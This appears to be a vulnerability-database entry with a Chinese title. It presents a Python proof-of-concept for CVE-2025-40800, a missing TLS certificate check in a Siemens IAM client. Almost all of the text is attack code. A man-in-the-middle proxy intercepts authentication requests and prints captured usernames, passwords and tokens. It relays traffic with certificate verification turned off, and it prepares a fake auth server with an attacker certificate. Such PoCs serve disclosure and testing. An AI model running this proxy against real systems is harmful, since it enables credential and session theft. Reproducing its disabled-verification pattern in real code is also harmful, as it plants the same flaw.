CVE-2025-40800 Siemens IAM客户端TLS证书验证缺失中间人攻击漏洞

#!/usr/bin/env python3 """ CVE-2025-40800 PoC - Missing SSL Certificate Validation in Siemens IAM Client This PoC demonstrates the MITM attack vector due to missing certificate validation. Note: For authorized security testing only. """ import socket import ssl import struct import json from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousProxyHandler(BaseHTTPRequestHandler): """ Malicious proxy that intercepts IAM authentication requests. Simulates the missing certificate validation vulnerability. """ def do_POST(self): """ Intercept POST requests to authorization server. Capture credentials and session tokens. """ content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) # Log intercepted credentials (in real attack, these would be exfiltrated) print(f"[+] Intercepted authentication request: {len(post_data)} bytes") # Parse and extract sensitive data try: data = json.loads(post_data) if 'username' in data: print(f"[+] Username: {data.get('username')}") if 'password' in data: print(f"[+] Password: {data.get('password')}") if 'token' in data: print(f"[+] Token: {data.get('token')}") except: print("[*] Could not parse request data") # Forward request to legitimate server (transparent proxying) response = self.forward_to_legitimate_server(post_data) # Send response back to client self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(response) def forward_to_legitimate_server(self, data): """ Forward request to legitimate server to maintain service. In real attack, attacker could modify responses. """ try: context = ssl.create_default_context() # BUG: No certificate verification (demonstrates vulnerability) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection(('legitimate-auth-server', 443)) as sock: with context.wrap_socket(sock, server_hostname='legitimate-auth-server') as ssock: ssock.sendall(data) return ssock.recv(4096) except Exception as e: print(f"[-] Error forwarding: {e}") return b'{"error": "Service unavailable"}' def start_mitm_proxy(listen_port=8443): """ Start MITM proxy server on specified port. This demonstrates how missing certificate validation can be exploited. """ server_address = ('', listen_port) httpd = HTTPServer(server_address, MaliciousProxyHandler) print(f"[*] MITM Proxy listening on port {listen_port}") print("[*] Waiting for IAM client connections...") httpd.serve_forever() def create_fake_auth_server(cert_file='attacker.crt', key_file='attacker.key'): """ Create fake authorization server with self-signed certificate. Due to missing validation, IAM client will accept this certificate. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load attacker-controlled certificate context.load_cert_chain(cert_file, key_file) # No certificate validation required - this is the vulnerability! return context if __name__ == "__main__": print("=" * 60) print("CVE-2025-40800 PoC - Missing Certificate Validation") print("Siemens IAM Client TLS MITM Attack") print("=" * 60) print("\n[!] WARNING: For authorized security testing only!") print("\n[*] Starting MITM proxy...") start_mitm_proxy()